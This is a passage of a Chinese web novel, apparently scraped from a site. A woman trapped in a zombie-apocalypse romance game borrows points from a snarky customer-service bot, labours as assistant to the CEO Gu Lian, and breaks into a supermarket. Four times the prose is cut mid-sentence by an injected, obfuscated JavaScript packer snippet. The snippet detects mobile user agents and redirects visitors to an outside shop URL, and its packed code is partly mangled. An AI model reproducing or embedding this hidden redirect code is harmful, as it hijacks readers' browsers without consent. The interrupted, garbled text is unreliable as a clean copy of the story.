所以到底要怎么办，才能在不惊动丧尸的情况下完成任务呢？ 指尖有规律地轻点墙面，黎春日认真分析。出去找是行不通的，照她这种亮度，一出去就会被丧尸围住。 沉沉叹一口气，烦躁间，她与客服的聊天页面闯入视线。 黎春日眼珠一转，计上心头。既然武力不行，那就试试以智取胜。 那双圆溜溜的大眼睛往游戏页面上瞅一眼，再瞅一眼，内心疯狂盘算等会要说点啥。 想了一圈又逐个否定，黎春日清清嗓子，选择直奔重点：“那个，支持好感度赊账吗？” 客服没想到黎春日竟然把主意打到它身上，空气陷入死一般的寂静。 回过神，客服拒绝干脆：“不能。” 连常用的亲亲口头禅都不说了，足以看得出客服有多无语。 黎春日没有放弃，不同意是意料之中的事。她腼腆着脸，尝试游说客服。 首先第一步，温情路线，拉进两人之间关系。 “你看啊，我现在被困在游戏里，只有完成所有任务才能出去。在这期间你是我最好的朋友，也是我最信任的人呐。” 客服不为所动：“拒绝。” 第二步，真情流露，尝试引起对方的怜悯之心。 “唉，其实我也不愿意赊账的，但偏偏所有坏事都串了起来。奔波之后补觉被顾敛逮住，导致好感度负值，紧接着带来这个莫名其妙的惩罚。明明我也是受害者，却还要靠自己解决现在的困境，我也是被逼无奈啊。” 黎春日挤眉弄眼制造泪水，却还是空空如也。情急之下，垂眸埋首于两膝间。 客服铁石心肠：“不行。” 两步接连失败，如今只剩最后一招。 ──躺平摆烂。 黎春日也不装了，挪挪屁股，往后一仰，躺平开摆。 “反正出不出去都是死路一条，还不如舒舒服服地上路。” 双手枕在脑后，她闭上眼，一副要随地大小睡的样子。 客服似乎被她的赖皮行为惊到了，聊天框久久没有动静。 时间一点点流逝，见黎春日铁了心要睡过去的态度，客服缓缓打出几个字：“……借多少。” “哈哈”，黎春日仿佛长了透视眼，一跃而起。两眼放光，饱含期待地搓搓双手。 “不多不多，也就3点好感度。” 借着刚刚的时机，她悄摸点开末日商城看了一眼。要不是想到在装睡，她差点就惊叹出声了。 整个商城琳琅满目，应有尽有。上到生活服饰家居，下到美妆五金食材。只要是现实世界有的，这里全部都能找到。 一个个浏览效率太慢，她找到筛选，点击价格，由低到高排序。 位于首位的赫然是价值一点好感度的小白兔方便面。她点击购买，数量选择3个。 付款成功的瞬间，三个巴掌大小，包装花红柳绿的方便面落入手中。 随之响起的，是任务完成，发放保护罩的信息。 奖励和惩罚两相叠加，一个巨大的透明椭圆杯将黎春日倒扣其中。闪亮的灯光仍然存在，但地上的纤细影子消失不见。 看到黎春日手舞足蹈的模样，客服心情不爽。 虽然知道她都是装出来的，但这变脸的速度也太快了吧。 于是，客服耐心等待。它看着黎春日在好奇心的驱使下打开方便面，确认无法退货后，施施然开口。 “亲亲，游戏不做亏本买卖，借出一点好感度需要还两点哦^_^。” 客服话音刚落，左手腕处的好感度稍有变化。个位缓缓上升，走到数字6时才停下。 “什么。” 借一还二的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958971|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，三包方便面，就代表她明天最低也要挣到6点好感度。 方便面掉在地上滚了两圈，黎春日不敢置信：“你借的时候也没说啊。” “亲亲，你刚刚也没有问哦^_^。” 吃都吃了，只能忍痛接受客服的高利贷行为。她捡起方便面呼呼两下，含泪塞进嘴里。 没过三秒还能吃，况且这可是价值两点好感度的方便面，绝不能浪费了。最后一口结束，昂贵的方便面连渣都不剩。 扔掉垃圾袋，黎春日决定主动出击。现在处于无敌的保护期，正是探查的好时候。 她看看这里，摸摸那里。仗着被光吸引过来的丧尸看不见她，胆大包天的凑近观察。 不看不要紧，一看吓一跳。 那两只大黑眼珠子，远处看还好，近处看简直能吓死个人。 而且丧尸身上的腐腥味臭气熏天，齿缝中红黄交错。牙垢和血渍混合在一起，味道闻起来堪比毒气，熏得黎春日差点把隔夜饭都吐出来。 好奇心害死猫，诚不欺我！ 她轻拍胸口，缓解胃部翻涌的不适感。 丧尸带来的伤害性太大，黎春日老实了。乖乖绕开丧尸，探索周边的建筑物。 游戏中的第二个夜晚在风平浪静中度过，时间临近六点，她没有急着回去，打算留下来看看这个世界到底是什么情况。 昨天早上她被困在房间里，因此不知道外面到底发生了什么事情。 铛铛。 熟悉的钟声悄然响起，世界发生翻天覆地的变化。单一的暗色调褪去，取而代之的，是五彩缤纷的色彩。 橙红暖光倾洒而下，照亮被黑雾侵入的世界，丧尸逐渐蜕变成人类。 亲眼目睹后，黎春日嘴巴张大，久久无法合拢。 最开始看海报的时候，她还觉得奇怪。明明是末日背景下的恋爱游戏，为什么不融合两种画风，反而一上一下，分据两端。 现在她明白了，一白天一黑夜，两款游戏共生共存。 即使了解了游戏真相，也逃不过做任务上班的命运。回到唯恋花园，黎春日定下八点半的闹钟。 现在离上班还有三个小时，鉴于她现在有钱，不用走路上班，又能再多睡半个小时。 闭上眼还没五秒钟，她又爬了起来。凭借最后一丝理智，将闹钟调到八点。 忘了她还要做攻略任务，怎么说也得化个妆。人都是视觉动物，在外表的加持下，说不定还能挣点额外的好感度。 根据之前和顾敛的接触，她已经定下了获得10点好感度的小目标。 最重要的是先偿还客服，毕竟她负50的好感度一时半会回不到零上的水平，所以要和客服维持友好的借贷关系。 首先，必须要先还了昨晚的高利贷。让客服看到她想要偿还的态度，和一定偿还的行动，这样客服才能放心地和她进行长期交易。 其次，虽然只有四点属于她。但是，积少成多，总有一天她就能摆脱负值困境。 怀揣着以上美好的想法，黎春日安然入睡。 叮铃铃，叮铃铃。 闹钟震动了一遍又一遍，床上的人也只是翻个身，蒙头继续睡。 5. 第 5 章 闹钟不厌其烦地嗡嗡工作，咚的一声，过于频繁的震动导致它掉下桌子。 黎春日猛然坐起，下意识望向门口方向。 房间内一片祥和宁静，极速跳动的心脏落回平静。她微微眯眼，抬手遮挡闪耀的阳光。 记忆逐渐回笼，捞起地上的闹钟一看，表情瞬间惊慌。 她才睡了多长时间，怎么就八点二十五了。 没有丝毫迟疑，黎春日掀开被子直奔洗手间，一边刷牙一边翻找衣服。 由于通勤时间要15分钟，因此她要在20分钟内完成洗漱加化妆。 任务艰巨，任何环节都要一手一个两边抓。 慌慌张张地出门，匆匆忙忙地坐上车，黎春日才有时间喘口气。 呼吸稍稍平复，她侧头抵上车窗。车水马龙的街道映入眼底，热闹非凡。她却快乐不起来，眸中满是惆怅。 这才两天，以后可要怎么办啊。 完成任务才能回到现实世界，可白天加晚上，她24小时都要围着任务不停转，连个休息的时间也没有。每天大清早起床上班就跟打仗一样，兵荒马乱的。 原本知道只用上早班时，她还很兴奋。结果现在呢，早班晚班压根儿没什么区别，都一个鬼样子。 早班早上睡不成，晚班晚上睡不成，熬鹰也没这么熬的。 “唉，算了”，黎春日长叹口气，嘴角上扬，整理低落的情绪。 反正下午三点就下班，下班后再补觉也不迟。 她掰着指头算了算，如果四点睡觉，到晚上十二点正好是八个小时。 虽然睡觉时间颠倒了，但好歹睡够了八个小时，她勉勉强强也能接受。 黎春日安慰好自己，迈步踏进公司大门，八点五十九分准时坐在工位上。 看着左右两边进入工作状态，开始忙碌的同事们。她挠挠脸，坐姿乖巧。 新工作开始前几天都是在熟悉工作内容，然而第一天她给睡过去了，导致现在完全不知道要干点什么。 她虽不知道，但秘书知道得一清二楚，他敲敲黎春日的桌子：“我已经把顾总的个人资料，喜好和生活习惯发到你邮箱了，没事的时候多看看，争取早点记住。” 话音刚落，游戏发布任务的透明方框跃入眼中。 “叮咚，作为一个合格的生活助理，细心周全必不可少。” “触发支线任务一：请玩家在一天内记牢顾敛个人资料和喜好习惯，并通过测验，完成任务奖励两点好感度。” 黎春日眼前一亮，蚊子再小也是肉，好感度她来了！ 捋起袖子，晃晃脑袋，将注意力调到高度集中模式。 她点开邮件，信心满满。不就是顾敛的个人资料嘛，她分分钟都能记住。 滚动鼠标，页面迟迟拉不到尽头。黎春日自信的表情消失，双眼随着下滑的页面而逐渐睁大。 怎么这么多内容！ 急躁的鼠标直接拖拽到最后，结尾处数字惊掉了她的下巴，这份涵盖顾敛全方面的资料竟共有两千余条。 亏大了的念头瞬间闯入她的脑海，两千换两点，怎么算都是她血亏啊。 纵观整个邮件，不仅有顾敛的个人信息，还包括他家庭成员的各个资料。小到鞋码尺寸，大到交际应酬，可以说应有尽有。 黎春日板着一张脸，手动合上惊掉的下巴。 她收回之前说过的分分钟都能记住这句话，再好的脑子，也不能在一天内记住这么多东西。 而且两千条的内容，问顾敛本人都不一定记得。 烦躁无法解决问题，她摒弃杂念，投身知识的海洋。 身高体重都好说，只是看着那排列整齐的年份顺序，黎春日陷入沉默。 她为什么连顾敛过往的教育经历也要背？ 不断流逝的时间使得无心追寻答案，她双手抱头，耷拉着脸反复背诵记忆。此时她只恨大脑不能像U盘那样，一键储存所有内容。 时间来到中午，一边干饭一边记忆的黎春日终于背完顾敛的个人信息。 连个休息喘气的功夫都没有，她马不停蹄地投入到下一个板块。 在关于家庭成员的页面中，有图有文字。不仅要背诵，还要认识记住每个人的长相。 只是，她看着那张小狗快乐奔跑的图片，再次受到冲击。 有钱人家的狗就是与众不同，起个名字都洋里洋气的，居然有中文和英文两个版本。 黎春日啧啧摇头，难以理解，她无比怀疑狗自己能不能记住这两个名字。 吐槽归吐槽，这两个名字也得认真记住。 临近下班，她终于背完了这份容量巨大的资料。 黎春日缩靠在椅子里，眼神呆滞。脸上满是知识侵袭过后的疲惫感，整个人已经被这份文件掏空榨干。 趁着记忆还热乎，她连忙点开抽查测验。 一共20道，全部都是客观选择题。正确率达到百分之九十以上，她才能获得区区两点好感度。 “第一题：顾敛喝咖啡时喜欢加几勺糖。” 这题她会，黎春日毫不犹豫，自信点击C选项，一勺半。 果不其然，一个大大的绿色对勾代替了圆圈内的数字1。 第二题，第三题，她一路过关斩件，在第十六题停下脚步。 “第十六题：请观察以下三张图，正确选出顾敛家苹果的照片。” 小狗乖巧，小狗吐舌，小狗微笑。 三只博美犬排排坐，一眼望去，犹如复制粘贴。 黎春日回忆之前看过的图片，她记得顾敛他们家狗嘴好像比一般的博美更尖，腿也更短些。 按照这个方向，她逐个对比。A腿太长了，C脸太圆了，那就只剩B选项了。 滴，一个大大的红叉否定了她的推断。仔细观察正确答案A选项，她左看右看，总觉得B答案更像他们家狗的图片。 五秒时间过去，页面自动跳转下一题。黎春日收回思绪，不再纠结。 百分之九十以上的正确率意味着她最多错两道题，如今已经错了一道，剩下的四道题她可要仔细点做了。 接下来，每道题她多番思考，慎之又慎地做出选择。 当最后一个绿色对勾亮起，黎春日长舒口气，抹去眼角冒出来的辛酸泪花。 为了这两点好感度，她又是背书又是考试的。折腾一大圈，真是太不容易了。 没等她夸夸自己做得不错，内线电话突然响起。 顾敛的声音透过电流愈显冷淡：“泡杯咖啡进来。” “叮咚，耐心是身为一个合格助理要具备的第二大要素。” “触发支线任务二：请玩家运用理论知识，泡出让顾敛满意的咖啡，完成任务奖励两点好感度。” 完成任务的奖励就像拴在黎春日面前的胡萝卜，她小跑进入茶水间，严格按照资料上的内容进行操作。 一杯咖啡，再加一勺半的糖，搅拌均匀。 “太甜了。” 顾敛随手抄起浅尝一口，头也不抬，冷酷地打回返工。 甜？明明严格按照资料放的糖，怎么会甜呢？ 黎春日瞥他一眼，行吧，你是老大，你说甜就甜。 返回茶水间，吸取错误经验，她这次只放了一勺又三分之一的糖量。 “太苦。” 一勺半太甜，一勺又三分之一太苦，他的嘴是天平做的吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958972|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 忍住，要有耐心，耐心。黎春日闭眼深呼吸，压抑心中翻涌的情绪。 她来到同事工位前：“这个借我用一下，谢谢。” 待同事点头，她拿上东西，气势汹汹地三度冲进茶水间。 秉持左物右码的原则，她先舀一勺又三分之一的糖，刻度线显示2.5克。她又舀起几颗糖粒，重量来到3克整。 黎春日一边搅拌均匀，一边冷笑连连。 哼哼，让她看看这次顾敛还能挑出什么刺。 “啧”，顾敛摩挲着下巴，一脸沉思状：“感觉差点意思，再去泡一杯。” 黎春日强行挤出皮动肉不动的笑容，连忙转身出门，再多看顾敛几秒她就要忍不住打人了。 双手撑在桌子上，她连着做了几个深深深深呼吸。 耐心，耐心，想想好感度，要有耐心。 吐出一口浊气，黎春日再次挑战。刻度线来到3g，为防止顾敛再说什么差点意思的话，她又增添了0.1克。 端着这杯精心调制的咖啡，她第四次敲响顾敛办公室的大门。 “进。” 恰巧顾敛和秘书的对话来到尾声，他品尝一口咖啡，终于大发慈悲地放过黎春日：“不错。” 随后，他看向秘书，抬抬下巴示意桌子上积累的有半人高的文件：“对了，你忙完之后，把这些送到各个部门去。” “叮咚，勤劳和自我奉献是令人夸赞的美好品质，也是身为一个合格助理应当具备的职业素养。” “触发支线任务三：请玩家牺牲下班时间，将文件送达各个部门，完成任务奖励四点好感度。” 四点！黎春日眼珠一转，小算盘打得噼里啪啦。 如果得到这四点好感度，她定下的10点目标触手可及。 带着对好感度的狂热渴望，她挺身而出，一个箭步抱住半人高的文件：“顾总，我去送吧。” 两个男人遥相对视，眼中皆有迷茫。顾敛看看手表：“三点了，你不下班。” “嗐”，黎春日搬起文件就往外走，一副谁都别跟她抢的模样：“下什么班啊，我热爱工作。” 纤细的身影逐渐消失，顾敛满脸欣慰地点点头，不愧是他的员工。 这边的黎春日脚下生风，充满干劲，风风火火地将文件送往各个部门。 当最后一份文件归位，左手腕处的好感度缓缓变化。 数值降至负48，爱心中的浅灰色也稍有下降，移动幅度仅凭肉眼难以发现。 本想直接就此下班，但距离10点目标仅一步之遥。 黎春日嘴唇紧抿，有些不甘心。班都加了，不凑够10点也太说不过去了。 让她想想还能做点什么加好感度，头脑风暴时，顾敛喝咖啡后，头顶冒出好感度加2的画面闯入脑海。 她双眼一亮，说干就干。蹭蹭几下跑上楼，目标直冲茶水间。 将顾敛满意的咖啡放在他手边，黎春日没有急着退出去。 她紧紧盯着顾敛头顶，内心碎碎念叨：快出现啊，好感度加2，快啊。 顾敛百忙之中喝了口咖啡，抬头就见黎春日笑容灿烂，双眼亮晶晶地盯着他看。 咖啡丝滑爽口，暖意驱散了忙于工作的疲惫。 回想眼前人今日表现，和上一个殷勤献媚的助理没什么不同。霎那间，他仿佛明白了什么。 将手中的咖啡推向一边，顾敛态度冷了下来，埋首进入工作状态：“出去吧，我不搞潜规则那套。” “如果还有下次，直接走人。” 好感度如愿出现在顾敛头顶，不过和黎春日的期待天差地别，明晃晃的-5正式宣告她今日所做的一切化为泡影。 6. 第 6 章 “我？潜规则？” 黎春日气极反笑，双眼瞪得浑圆。 这是什么惊世骇俗的发言啊，顾敛敢说，她都不敢听。 潜规则？她？哈，说出去让人听了都能笑掉大牙。 “上班第一天就睡觉的人，居然勤奋工作到自愿加班，不觉得很奇怪吗？” 笔尖停下动作，顾敛看向一旁散发热气的杯子，有理有据：“而且，现在是你的下班时间，为何要多此一举给我泡咖啡。” 勤奋工作是为了好感度，自愿加班也是如此。就连引起顾敛多想的泡咖啡行为，都是她想再多挣点好感度的结果。 黎春日嘴唇张合几下，没有泄露一丝声音。 明明是游戏发布的任务，正大光明的理由，她却不能说出一句反驳的话。 内心憋屈的怒火越烧越旺，无法解释原因，但为了自身清白，她只能着重强调结果。 黎春日咬牙切齿，加重读音，确保顾敛听清每一个字：“我，没有，这种，想法。” 看她怒火中烧的模样确实不像动了歪心思的人，顾敛大手一挥，施施然将此事翻篇。 “没有最好，勤勤恳恳上班比什么都强。行了，下班吧。” 面前没事找事的男人重新投入工作之中，黎春日留下一个意味深长的眼神，高傲转身，带着满腔郁气悍然离去。 等着瞧，好感度满之日，就是你命丧黄泉之时。 惹到她，顾敛算是踢到铁板了。 本来就对攻略人物不满意，再加上他今日的所作所为，顾敛这个人已经进入她的“暗杀黑名单”了。 “啊啊啊啊”，黎春日猛地掀开被子，侧头看一眼时间，痛苦哀号。 晚上十点整，距离她躺床上已经过去三个小时。 期间她左翻右滚，辗转反侧，迟迟不能进入睡眠状态。 每当闭上眼睛，顾敛潜规则的危险发言就会攻击她的大脑神经。 她从满心怒火，激情开麦。到痛恨当时发挥失误，说了几句不痛不痒的话。 懊恼时，她忽然想起，顾敛是不是还扣了她的好感度来着。 抬起手腕一看，好感度从负48变回负53。 原本她不仅能还清客服欠账，还能再积攒两点，结果现在她连客服的欠账都还不起了。 这一切的一切都是因为顾敛异于常人的脑回路，诬陷她潜规则，还扣她好感度。 越想越气，越气越睡不着。直到现在，她的精神依然亢奋。 再过两个小时就是晚上的逃命时间，今晚不睡，明天上班她铁定睡着。 不能再给顾敛找茬儿的机会，黎春日控制呼吸，试图平复激动的大脑。 冷静，是顾敛不识好歹，曲解别人散发出的善意。 没错，不要用他人错误来惩罚自己。 平和的微笑刚刚扬起细微弧度，黎春日猛地一锤床。 早知道就不多此一举地给他泡咖啡了，真是赔了夫人又折兵。 控制宣告失败，黎春日陷入新一轮的激愤，懊恼之中。 铛铛。 钟声如约而至，黎春日早已整装待发。 两个小时前，入睡再次失败时，她已然明白这个晚上算是毁了。 既然毫无睡意，还不如提前起床为晚上做点准备，毕竟她也不知道这次还能不能在安然中度过。 对于世界黑暗化的画面，她适应良好，并趁机逃出小区。 刚找到合适的躲藏处，好感度负值惩罚快人一步，率先找到黎春日的头上。 随后，游戏才发布任务。 “生存任务三：玩家昨日十分幸运，不费吹灰之力就完成了任务。可末日之中，最不可估量的，就是幸运。最能依靠的，就是自己。” “请玩家外出探索，寻找六样不同种类的食物。成功提交后，可获得一点好感度。” ……这哪是任务三，明明是在报复她昨天钻空子完成任务，从而延伸出来的任务二进阶版，每一条都在点她。 依靠自己，外出探索。食物种类不能相同，找到后还要提交。甚至连保护罩都取消了，只奖励可怜巴巴的一点好感度。 得，看样子今天她是别想蒙混过关了。 幽幽叹一口气，凭借自带的耀眼灯光确定方向，黎春日生无可恋地踏上路程。 幸好昨天她没偷懒，提前勘查了地形。现在才不至于像个没头苍蝇，到处乱转。 直行三百米，有一家小超市。昨天去的时候大门紧闭，多亏她身上的灯光，依稀看清了满满当当的货架。 不知道今天这个建筑物是否还存在，她打算先去看看情况。 一路上，黎春日看见地上的石头就捡，看见有丧尸就扔石头。 热爱明亮的丧尸挣扎不已，它看看耀眼的光圈，再看看接连发出声响的地方，恐怖的脸上竟表现出一丝纠结。 但最终追逐捕猎的想法占据上风，一步三回头地朝着石头走去。 看着被黑暗侵蚀后，仍保存一丝人性化的丧尸，黎春日灵光一闪。 “客服，顾敛到了晚上会变成丧尸吗？” “亲亲，请专注完成任务哦。” 切，黎春日撇撇嘴。不说就算了，她总会知道的。 三百米的距离说近也近，她继续前进没一会儿就到了。 左手边，建筑物一如昨天看到的那般，多福超市四个字摇摇欲坠地挂在上面。 轻风吹过，市字来回飘荡，叮咣一声掉在地上。 黎春日连忙环顾四周，生怕这声巨响吸引丧尸过来。 她避开脚下，贴在厚重的玻璃门上，眼中带着浓浓的渴望。 超市是找到了，可她要怎么进去呢。 敲敲玻璃，门没有一点事，倒是她手有点疼。 事到如今只能砸开了，反正等天亮的时候，所有残破的建筑物都会复原。 打定主意后，黎春日找来几个体型颇大的石头，摇摇摆摆地搬过来。 忙活一阵，她拍拍双手，灰尘散去。露出周围各种体型的石头，由大到小，依次排列。 第一次砸门尝试，她选择最大块的石头，争取一击成功。 咚。 沉闷声后，玻璃门完好无损，石头也完好无损。 避开被吸引而来的丧尸，黎春日窝在角落里，重新制定作战计划。 这样不行，她力气太小，石头再大也很难砸开。 “客服，能借用一下大锤子吗。” 黎春日着重强调：“只是借用，我没有好感度，买不起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958973|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 客服磨蹭半天，发来一句意味深长的话：“亲亲，你确定？” 当然确定啊，黎春日坦然无畏，毕竟负53好感度有目共睹。 “亲亲，我的意思是，你确定要借大，锤，子？” 黎春日还是没有对上客服的脑回路，她挠挠脸蛋：“借啊，不借怎么完成任务。” 眼前的人听不懂暗示，客服放弃挣扎：“亲亲，好的，希望玩家不要后悔。” 后悔？后悔什么？ 她还想再问，瞬间出现的锤子吸引了她的全部注意。 哇哦，这也太大，太沉了吧。 锤子竖起来都有她半人高了，拎也拎不动，只能放在地上拖着走。 动手之前，黎春日内心颇有些忐忑，从没想过，她会有砸别人门的一天。 复杂的心情不影响她手中的动作，从背后扛起大锤子，踉跄几步。瞄准左侧玻璃，用尽全身之力使出沉重一击。 噼里啪啦，玻璃渣子碎落满地。 左侧门上开了一个大圆洞，蜘蛛网般的裂痕随处可见。 锤子扔在地上，等待游戏自动回收。 趁着丧尸还没过来，黎春日猫腰钻洞，动作小心翼翼，充分表现出不想被玻璃扎到的心情。 进入多福超市，由于空间面积不大，她很快找到零食区域。 这个不好吃，还有这个。黎春日走过货架，怀里抱的都是她不喜欢吃的东西。 最终都要上交给游戏，还不如直接选点她不喜欢的，这样食物消失了她也不心疼。 任务完成后，黎春日才悠哉悠哉地逛起了超市。 早上她思索半天，最后还是拿上了从家里到处搜罗出来的现金。幸好她有先见之明，这不就派上用场了。 躲在安全的店铺里，时间过得飞快。几乎是转眼间天就亮了。 跺跺蹲麻的腿脚，黎春日一瘸一拐地回到唯恋花园。 考虑到直接去上班会有猝死在工作岗位上的风险，她打算小睡一会，眼睛刚刚闭上。 砰砰砰，门外传来老张热情的声音：“黎小姐，你在吗？” 一天一夜未曾合眼，浑身上下的细胞都在拒绝从床上起来。 砰砰砰，老张坚持不懈，黎春日任命开门。 “黎小姐，昨天晚上没发生什么事吧。” 黎春日一脸懵，难道她昨晚出去之后，这里还发生过事情？ 老张放下心来：“没事就好，我今天就要走了。这不路过的时候听说晚上有人抢劫，就想着来看看你有没有事。” 老张话中的信息量太多，黎春日大脑乱成一团浆糊。 抢劫？晚上小区里的人不都在cos丧尸吗，哪来的时间去抢劫。难道这游戏里还有她不知道东西？ 眼见老张要离开，她连忙问道：“什么抢劫？” “诶呦”，老张一拍大腿，连讲带比划的，滔滔不绝。 “就前面那个多福超市，老板今早开门，看见门前摆了一溜儿石头。还有那玻璃，被人砸得稀巴烂。啧啧啧，你是没看见，老大一个洞。” 从听见多福超市四个字开始，黎春日就有种不好的预感。 老张后来说的每一句，都在印证这个多福超市，就是她昨晚进入的那个超市。 7. 第 7 章 一溜儿的石头，稀巴烂的玻璃渣，门上的大圆洞。 老张描述的每一个惨状，都能和她昨晚的所作所为对上号。 难道世界出现bug了？黎春日如遭雷击，不然怎么解释超市没按剧情发展的现象。 回忆昨晚的一举一动，但连续运转24小时的大脑彻底罢工。 她想了半天，结果不过是大脑一直在循环播放老张的话。 世上无难事，只要肯放弃。 黎春日转头戳开她在游戏里的坚固后盾：“为什么超市大门没有恢复原状。” “亲亲，玩家在游戏中造成的破坏是无法复原的。而且昨晚我也多次提醒过玩家哦。” 什么时候，她怎么不知道。 页面划拉到昨晚，黎春日这才看懂客服话语间的意思：“你这只能叫暗示，和提醒还是有区别的。” “亲亲，玩家没有明确提问哦。” 眉头轻轻挑起，难道有些事情只有她问了，客服才能直接说吗？ 哈，有意思。 微妙的表情刚刚浮现，楼下前方三百米处惹出来的烂摊子闯入脑海。 黎春日双手捂脸，后仰倒在床上来回翻腾。 啊啊啊啊，现在知道这些有什么用。门也砸了，东西也拿了，该发生的都已经发生了。 但是，一个挺身坐起来，黎春日双眼炯炯放光。 由于买卖交易的观念深深刻在脑海中，她后来拿的零食都有付钱。 这样一想，其实她身上的罪名只有砸门而已。 虽然情况并没有好到哪去，但至少心里的罪恶感减轻了一点。 现在要做的，就是思考该怎么赔偿老板修门的钱。 黎春日双手环胸，来回踱步，脸上写满了凝重之色。 上门自首？毕竟做错事就要勇于承担。 指甲啃咬得坑坑洼洼，她踱步的速度越来越快。 可是万一老板把她抓起来送派出所怎么办，她这辈子还没和警察打过交道呢。 未知引发恐惧，一连串问题如雨后春笋般冒了出来。 万一警察记录作案过程时，问她为什么要砸门，什么时候砸的门，她该怎么说。 总不能说这里是游戏世界，只有完成任务才能回到现实，而她砸门恰恰是为了完成任务吧。 虽然这是事实，可警察不知道啊，只会觉得她是从精神病院跑出来的。 黎春日想得越来越远，内容也越来越离谱。她用力甩甩脑袋，将扯淡的想法驱离大脑。 与其在这里胡思乱想，不如直接去现场看看情况。 说干就干，她随意收拾了一下，匆忙出门。 温暖舒适的天气里，黎春日头戴黑色帽子，宽大的墨镜遮住她半张脸，剩下那半张脸又被紧紧裹在口罩里。 一路上，行人指指点点，纷纷投来好奇的目光。 黎春日毫不在意，整颗心早已扑在前方聚集了一群人的多福超市上。 三步并作两步凑上去，刚听到第一句话，就让她的心脏高高提起。 “老板，报警了没。” 墨镜后的双眼大睁，随即黎春日将口罩捂得更严实了些。 体型圆润的中年男人愁眉苦脸：“报了，但门前的监控什么也没拍到。而且我刚刚清点东西，发现总共也就丢了几包零食。但奇怪的是，柜台上放着现金，价格比丢失的零食还高一些。” “这年头小偷偷东西还会给钱了？”，周围惊讶的人不在少数，毕竟小偷要是给钱了，那还能叫小偷吗。 “是啊，这不我也好奇嘛。”，老板摸摸光秃秃的脑袋，一脸的匪夷所思。 人群中的黎春日也很惊讶，她明明计算好的价格怎么会多呢。 略一思索，顿时了然。多出来的应该是她提交给游戏，用于完成任务的食物。 游戏收取之后，任务完成，之后再将食物恢复原处。 “那最后警察怎么说的。” 一热心大哥问出了黎春日最关心的问题，她竖起耳朵，身体下意识向前倾。 “因为没有监控，他们说只能先查查看。” 虽然老板很惆怅，但混在其中的黎春日微微松了口气。 由于实在没有自首的勇气，她决定采用第二种方案。 暗中赔偿。 走进超市，随手拿了几样东西来到柜台。 “一共54块钱。” 黎春日扫码付款，之后拎着东西飞快逃走。 “哎，你付多了”，超市老板伸出尔康手，连忙追了出去。 但那人见状跑得更快，转眼消失在街道上。 老板看着手机里新鲜出炉的一万块钱，表情茫然，他今天怎么总遇见奇奇怪怪的事情。 先是门被莫名其妙砸了个大洞，接着来个傻子莫名其妙给他送钱，还是喊都喊不回来的那种。 难道，这就是有失必有得？ 老板一脸他悟了的模样，背着手回到店里。 毫不知情被按上傻子名号的黎春日脚步轻快，满面笑容。 赔偿过后，她内心骤然轻松。天是晴的，花是红的，世界是无比美好的。 出都出来了，不如吃个早饭再上班。 结果这一吃还吃出问题来了。 心头大事一解决，紧绷的精神随之松懈。吃着吃着，手中的包子直接掉进碗里，汤汤水水溅她一脸。 短暂掉线的意识恢复链接，黎春日拍拍脸蛋儿。决定提前去公司，看能不能利用多余的时间补会儿觉。 结果刚到工位上，就被顾敛指使着泡杯咖啡。 计划泡汤，黎春日努力睁大眼睛保持清醒。她来到茶水间，一勺接着一勺。大脑好像在工作，又仿佛早已偏离轨道。 顾敛刚喝一口就吐了出来，眉头紧锁：“你放了几勺糖。” “啊，一勺吧”，黎春日记忆模糊，说实话，她只记得放糖这个动作，但压根儿想不起来放了多少。 拿起纸巾擦擦嘴，顾敛冷酷嘲讽：“一勺？我看是一罐吧。” 甜得都像在喝糖水了，还一勺糖。 “出去重新泡。” “啊”，黎春日掐着手心，勉强集中涣散的注意力：“你说什么？” 瞥了眼心不在焉的人，顾敛不耐烦地重复一遍：“我说，出去重新泡。” 黎春日转身离开，刚走到门口又被叫住。 “等一下”，顾敛动动手指，示意她回来：“听说你在唯恋花园住。” 黎春日无力思考顾敛为什么会这么问，虚弱回答：“对。” “我今天搬到那里，你等会提前去收拾收拾。还有，这个文件复印五份拿过来。” 顾敛噼里啪啦说完了，黎春日花了些时间才解析成功。就连游戏发来的任务，她也迟了一拍才注意到。 “好感任务四：身为顾氏集团的总裁，顾敛看似形象完美，但其实也有一些小怪癖。那就是他喜欢买房子。这里一套，那里一套，但谁也不知道他是何时产生的这个兴趣。” “身为同一个小区的居民，理应维护好和谐的邻里关系。请玩家协助顾敛搬家，完成任务奖励五点好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 